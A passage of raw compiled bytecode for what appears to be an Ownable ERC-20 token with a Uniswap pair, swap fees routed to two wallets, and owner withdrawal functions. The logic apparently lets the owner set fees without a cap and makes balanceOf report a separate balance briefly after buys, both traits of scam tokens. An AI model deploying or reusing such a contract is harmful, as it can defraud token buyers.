6101000a900460ff169050919050565b600f5481565b6000601260149054906101000a900460ff1615610e6157600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480610dce5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544210155b15610e1a57600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610ea4565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610ea4565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b610eb1611c63565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f35906132fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161103c919061312c565b602060405180830381865afa158015611059573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107d9190613615565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016110dc929190613642565b6020604051808303816000875af11580156110fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111f9190613680565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600b805461115d9061327d565b80601f01602080910402602001604051908101604052809291908181526020018280546111899061327d565b80156111d65780601f106111ab576101008083540402835291602001916111d6565b820191906000526020600020905b8154815290600101906020018083116111b957829003601f168201915b5050505050905090565b601260149054906101000a900460ff1681565b60006112b6611200611c63565b846112b185604051806060016040528060258152602001613ec5602591396008600061122a611c63565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126f39092919063ffffffff16565b611c6b565b6001905092915050565b6112c8611c63565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611355576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134c906132fa565b60405180910390fd5b80601260146101000a81548160ff02191690831515021790555050565b600061138661137f611c63565b8484611e34565b6001905092915050565b611398611c63565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611425576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141c906132fa565b60405180910390fd5b80600f8190555050565b611437611c63565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bb906132fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c9061371f565b60405180910390fd5b61158430600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d54611c6b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611615919061335e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561169e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116c2919061335e565b6040518363ffffffff1660e01b81526004016116df92919061373f565b6020604051808303816000875af11580156116fe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611722919061335e565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117ab30610d1c565b6000806117b6611125565b426040518863ffffffff1660e01b81526004016117d8969594939291906137a3565b60606040518083038185885af11580156117f6573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061181b9190613804565b505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118bd929190613642565b6020604051808303816000875af11580156118dc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119009190613680565b50565b61190b611c63565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198f906132fa565b60405180910390fd5b81601081905550806011819055505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000479050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611a9e573d6000803e3d6000fd5b5050565b611aaa611c63565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2e906132fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ba6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9d906138c9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd19061395b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d40906139ed565b60405180910390fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e279190612f5e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ea3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9a90613a7f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0990613b11565b60405180910390fd5b60008111611f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4c90613ba3565b60405180910390fd5b600080600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ffc5750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561203b575061200b611125565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561207a575061204a611125565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b90506000839050612089611125565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141580156120f757506120c7611125565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561212f57503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b801561216757503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156124af5781156124ae5761219a606461218c60105484612b9490919063ffffffff16565b612c0e90919063ffffffff16565b9250600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161480156122055750601260149054906101000a900460ff165b156122f75761225c81600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461275790919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122b3600a4261275790919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141580156123a25750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b156124ad57600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484111561243157600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b612459606461244b60115484612b9490919063ffffffff16565b612c0e90919063ffffffff16565b9250600061246630610d1c565b905060008111156124ab57600061247b610a1f565b905080821015801561249a5750600e60009054906101000a900460ff16155b156124a9576124a881612860565b5b505b505b5b5b60006124c48483612c5890919063ffffffff16565b905061251882600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5890919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125ad81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461275790919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061264284600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461275790919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516126e29190612f5e565b60405180910390a350505050505050565b600083831115829061273b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127329190612d95565b60405180910390fd5b506000838561274a9190613bf2565b9050809150509392505050565b60008082846127669190613c26565b9050838110156127ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a290613ca6565b60405180910390fd5b8091505092915050565b60005b8383905081101561285a5760008484838181106127d8576127d761338b565b5b90506020020160208101906127ed9190613147565b905082600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050808061285290613cc6565b9150506127b8565b50505050565b6000600267ffffffffffffffff81111561287d5761287c61331a565b5b6040519080825280602002602001820160405280156128ab5781602001602082028036833780820191505090505b50905030816000815181106128c3576128c261338b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561296a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061298e919061335e565b816001815181106129a2576129a161338b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612a0930600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611c6b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612a6d959493929190613d0e565b600060405180830381600087803b158015612a8757600080fd5b505af1158015612a9b573d6000803e3d6000fd5b5050505060004790506000612aba600283612c0e90919063ffffffff16565b9050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612b24573d6000803e3d6000fd5b50600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612b8d573d6000803e3d6000fd5b5050505050565b6000808303612ba65760009050612c08565b60008284612bb49190613d68565b9050828482612bc39190613dd9565b14612c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bfa90613e7c565b60405180910390fd5b809150505b92915050565b6000612c5083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ca2565b905092915050565b6000612c9a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506126f3565b905092915050565b60008083118290612ce9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce09190612d95565b60405180910390fd5b5060008385612cf89190613dd9565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d3f578082015181840152602081019050612d24565b60008484015250505050565b6000601f19601f8301169050919050565b6000612d6782612d05565b612d718185612d10565b9350612d81818560208601612d21565b612d8a81612d4b565b840191505092915050565b60006020820190508181036000830152612daf8184612d5c565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612df682612dcb565b9050919050565b612e0681612deb565b8114612e1157600080fd5b50565b600081359050612e2381612dfd565b92915050565b6000819050919050565b612e3c81612e29565b8114612e4757600080fd5b50565b600081359050612e5981612e33565b92915050565b60008060408385031215612e7657612e75612dc1565b5b6000612e8485828601612e14565b9250506020612e9585828601612e4a565b9150509250929050565b60008115159050919050565b612eb481612e9f565b82525050565b6000602082019050612ecf6000830184612eab565b92915050565b6000819050919050565b6000612efa612ef5612ef084612dcb565b612ed5565b612dcb565b9050919050565b6000612f0c82612edf565b9050919050565b6000612f1e82612f01565b9050919050565b612f2e81612f13565b82525050565b6000602082019050612f496000830184612f25565b92915050565b612f5881612e29565b82525050565b6000602082019050612f736000830184612f4f565b92915050565b6000604082019050612f8e6000830185612f4f565b612f9b6020830184612f4f565b9392505050565b600080600060608486031215612fbb57612fba612dc1565b5b6000612fc986828701612e14565b9350506020612fda86828701612e14565b9250506040612feb86828701612e4a565b9150509250925092565b600060ff82169050919050565b61300b81612ff5565b82525050565b60006020820190506130266000830184613002565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126130515761305061302c565b5b8235905067ffffffffffffffff81111561306e5761306d613031565b5b60208301915083602082028301111561308a57613089613036565b5b9250929050565b61309a81612e9f565b81146130a557600080fd5b50565b6000813590506130b781613091565b92915050565b6000806000604084860312156130d6576130d5612dc1565b5b600084013567ffffffffffffffff8111156130f4576130f3612dc6565b5b6131008682870161303b565b93509350506020613113868287016130a8565b9150509250925092565b61312681612deb565b82525050565b6000602082019050613141600083018461311d565b92915050565b60006020828403121561315d5761315c612dc1565b5b600061316b84828501612e14565b91505092915050565b60006020828403121561318a57613189612dc1565b5b6000613198848285016130a8565b91505092915050565b6000602082840312156131b7576131b6612dc1565b5b60006131c584828501612e4a565b91505092915050565b600080604083850312156131e5576131e4612dc1565b5b60006131f385828601612e4a565b925050602061320485828601612e4a565b9150509250929050565b6000806040838503121561322557613224612dc1565b5b600061323385828601612e14565b925050602061324485828601612e14565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061329557607f821691505b6020821081036132a8576132a761324e565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132e4602083612d10565b91506132ef826132ae565b602082019050919050565b60006020820190508181036000830152613313816132d7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061335881612dfd565b92915050565b60006020828403121561337457613373612dc1565b5b600061338284828501613349565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6133ef81612deb565b82525050565b600061340183836133e6565b60208301905092915050565b6000602082019050919050565b6000613425826133ba565b61342f81856133c5565b935061343a836133d6565b8060005b8381101561346b57815161345288826133f5565b975061345d8361340d565b92505060018101905061343e565b5085935050505092915050565b600060408201905061348d6000830185612f4f565b818103602083015261349f818461341a565b90509392505050565b6134b182612d4b565b810181811067ffffffffffffffff821117156134d0576134cf61331a565b5b80604052505050565b60006134e3612db7565b90506134ef82826134a8565b919050565b600067ffffffffffffffff82111561350f5761350e61331a565b5b602082029050602081019050919050565b60008151905061352f81612e33565b92915050565b6000613548613543846134f4565b6134d9565b9050808382526020820190506020840283018581111561356b5761356a613036565b5b835b8181101561359457806135808882613520565b84526020840193505060208101905061356d565b5050509392505050565b600082601f8301126135b3576135b261302c565b5b81516135c3848260208601613535565b91505092915050565b6000602082840312156135e2576135e1612dc1565b5b600082015167ffffffffffffffff811115613600576135ff612dc6565b5b61360c8482850161359e565b91505092915050565b60006020828403121561362b5761362a612dc1565b5b600061363984828501613520565b91505092915050565b6000604082019050613657600083018561311d565b6136646020830184612f4f565b9392505050565b60008151905061367a81613091565b92915050565b60006020828403121561369657613695612dc1565b5b60006136a48482850161366b565b91505092915050565b7f556e69737761705632506169722068617320616c7265616479206265656e207360008201527f6574000000000000000000000000000000000000000000000000000000000000602082015250565b6000613709602283612d10565b9150613714826136ad565b604082019050919050565b60006020820190508181036000830152613738816136fc565b9050919050565b6000604082019050613754600083018561311d565b613761602083018461311d565b9392505050565b6000819050919050565b600061378d61378861378384613768565b612ed5565b612e29565b9050919050565b61379d81613772565b82525050565b600060c0820190506137b8600083018961311d565b6137c56020830188612f4f565b6137d26040830187613794565b6137df6060830186613794565b6137ec608083018561311d565b6137f960a0830184612f4f565b979650505050505050565b60008060006060848603121561381d5761381c612dc1565b5b600061382b86828701613520565b935050602061383c86828701613520565b925050604061384d86828701613520565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006138b3602683612d10565b91506138be82613857565b604082019050919050565b600060208201905081810360008301526138e2816138a6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613945602483612d10565b9150613950826138e9565b604082019050919050565b6000602082019050818103600083015261397481613938565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006139d7602283612d10565b91506139e28261397b565b604082019050919050565b60006020820190508181036000830152613a06816139ca565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613a69602583612d10565b9150613a7482613a0d565b604082019050919050565b60006020820190508181036000830152613a9881613a5c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613afb602383612d10565b9150613b0682613a9f565b604082019050919050565b60006020820190508181036000830152613b2a81613aee565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613b8d602983612d10565b9150613b9882613b31565b604082019050919050565b60006020820190508181036000830152613bbc81613b80565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613bfd82612e29565b9150613c0883612e29565b9250828203905081811115613c2057613c1f613bc3565b5b92915050565b6000613c3182612e29565b9150613c3c83612e29565b9250828201905080821115613c5457613c53613bc3565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c90601b83612d10565b9150613c9b82613c5a565b602082019050919050565b60006020820190508181036000830152613cbf81613c83565b9050919050565b6000613cd182612e29565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613d0357613d02613bc3565b5b600182019050919050565b600060a082019050613d236000830188612f4f565b613d306020830187613794565b8181036040830152613d42818661341a565b9050613d51606083018561311d565b613d5e6080830184612f4f565b9695505050505050565b6000613d7382612e29565b9150613d7e83612e29565b9250828202613d8c81612e29565b91508282048414831517613da357613da2613bc3565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613de482612e29565b9150613def83612e29565b925082613dff57613dfe613daa565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e66602183612d10565b9150613e7182613e0a565b604082019050919050565b60006020820190508181036000830152613e9581613e59565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b6944156ab02b520f9db83f55ceb3862ec14b6a1f2d0dfec70e4c1400345eb5164736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101c65760003560e01c806370a08231116100f7578063a6769c7111610095578063d0a6bc0f11610064578063d0a6bc0f14610640578063dd62ed3e14610669578063e9ac0e59146106a6578063f2fde38b146106bd576101cd565b8063a6769c711461059a578063a9059cbb146105c3578063b2abbbc414610600578063c9567bf914610629576101cd565b80638da5cb5b116100d15780638da5cb5b146104dc57806395d89b4114610507578063a2ae74f414610532578063a457c2d71461055d576101cd565b806370a082311461045f578063715018a61461049c57806384afff9b146104b3576101cd565b8063395093511161016457806350faa48f1161013e57806350faa48f146103b557806351bc3c85146103e05780635342acb4146103f757806354a5df1f14610434576101cd565b80633950935114610324578063441d801f146103615780634b94f50e1461038a576101cd565b806318160ddd116101a057806318160ddd1461026557806322554f341461029057806323b872dd146102bc578063313ce567146102f9576101cd565b806306fdde03146101d2578063095ea7b3146101fd5780631694505e1461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76106e6565b6040516101f49190612d95565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f9190612e5f565b610778565b6040516102319190612eba565b60405180910390f35b34801561024657600080fd5b5061024f610796565b60405161025c9190612f34565b60405180910390f35b34801561027157600080fd5b5061027a6107bc565b6040516102879190612f5e565b60405180910390f35b34801561029c57600080fd5b506102a56107c6565b6040516102b3929190612f79565b60405180910390f35b3480156102c857600080fd5b506102e360048036038101906102de9190612fa2565b6107d7565b6040516102f09190612eba565b60405180910390f35b34801561030557600080fd5b5061030e6108b0565b60405161031b9190613011565b60405180910390f35b34801561033057600080fd5b5061034b60048036038101906103469190612e5f565b6108c7565b6040516103589190612eba565b60405180910390f35b34801561036d57600080fd5b50610388600480360381019061038391906130bd565b61097a565b005b34801561039657600080fd5b5061039f610a1f565b6040516103ac9190612f5e565b60405180910390f35b3480156103c157600080fd5b506103ca610c62565b6040516103d7919061312c565b60405180910390f35b3480156103ec57600080fd5b506103f5610c88565b005b34801561040357600080fd5b5061041e60048036038101906104199190613147565b610cc0565b60405161042b9190612eba565b60405180910390f35b34801561044057600080fd5b50610449610d16565b6040516104569190612f5e565b60405180910390f35b34801561046b57600080fd5b5061048660048036038101906104819190613147565b610d1c565b6040516104939190612f5e565b60405180910390f35b3480156104a857600080fd5b506104b1610ea9565b005b3480156104bf57600080fd5b506104da60048036038101906104d59190613147565b610ffc565b005b3480156104e857600080fd5b506104f1611125565b6040516104fe919061312c565b60405180910390f35b34801561051357600080fd5b5061051c61114e565b6040516105299190612d95565b60405180910390f35b34801561053e57600080fd5b506105476111e0565b6040516105549190612eba565b60405180910390f35b34801561056957600080fd5b50610584600480360381019061057f9190612e5f565b6111f3565b6040516105919190612eba565b60405180910390f35b3480156105a657600080fd5b506105c160048036038101906105bc9190613174565b6112c0565b005b3480156105cf57600080fd5b506105ea60048036038101906105e59190612e5f565b611372565b6040516105f79190612eba565b60405180910390f35b34801561060c57600080fd5b50610627600480360381019061062291906131a1565b611390565b005b34801561063557600080fd5b5061063e61142f565b005b34801561064c57600080fd5b50610667600480360381019061066291906131ce565b611903565b005b34801561067557600080fd5b50610690600480360381019061068b919061320e565b6119aa565b60405161069d9190612f5e565b60405180910390f35b3480156106b257600080fd5b506106bb611a31565b005b3480156106c957600080fd5b506106e460048036038101906106df9190613147565b611aa2565b005b6060600a80546106f59061327d565b80601f01602080910402602001604051908101604052809291908181526020018280546107219061327d565b801561076e5780601f106107435761010080835404028352916020019161076e565b820191906000526020600020905b81548152906001019060200180831161075157829003601f168201915b5050505050905090565b600061078c610785611c63565b8484611c6b565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d54905090565b600080601054601154915091509091565b60006107e4848484611e34565b6108a5846107f0611c63565b6108a085604051806060016040528060288152602001613e9d60289139600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610856611c63565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126f39092919063ffffffff16565b611c6b565b600190509392505050565b6000600c60009054906101000a900460ff16905090565b60006109706108d4611c63565b8461096b85600860006108e5611c63565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461275790919063ffffffff16565b611c6b565b6001905092915050565b610982611c63565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a06906132fa565b60405180910390fd5b610a1a8383836127b5565b505050565b600080600267ffffffffffffffff811115610a3d57610a3c61331a565b5b604051908082528060200260200182016040528015610a6b5781602001602082028036833780820191505090505b509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610adb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aff919061335e565b81600081518110610b1357610b1261338b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110610b6257610b6161338b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f600f54836040518363ffffffff1660e01b8152600401610bfb929190613478565b600060405180830381865afa158015610c18573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610c4191906135cc565b600181518110610c5457610c5361338b565b5b602002602001015191505090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610c9330610d1c565b90506000811115610cbd57600e60009054906101000a900460ff16610cbc57610cbb81612860565b5b5b50565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600f5481565b6000601260149054906101000a900460ff1615610e6157600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480610dce5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544210155b15610e1a57600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610ea4565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610ea4565b60056000837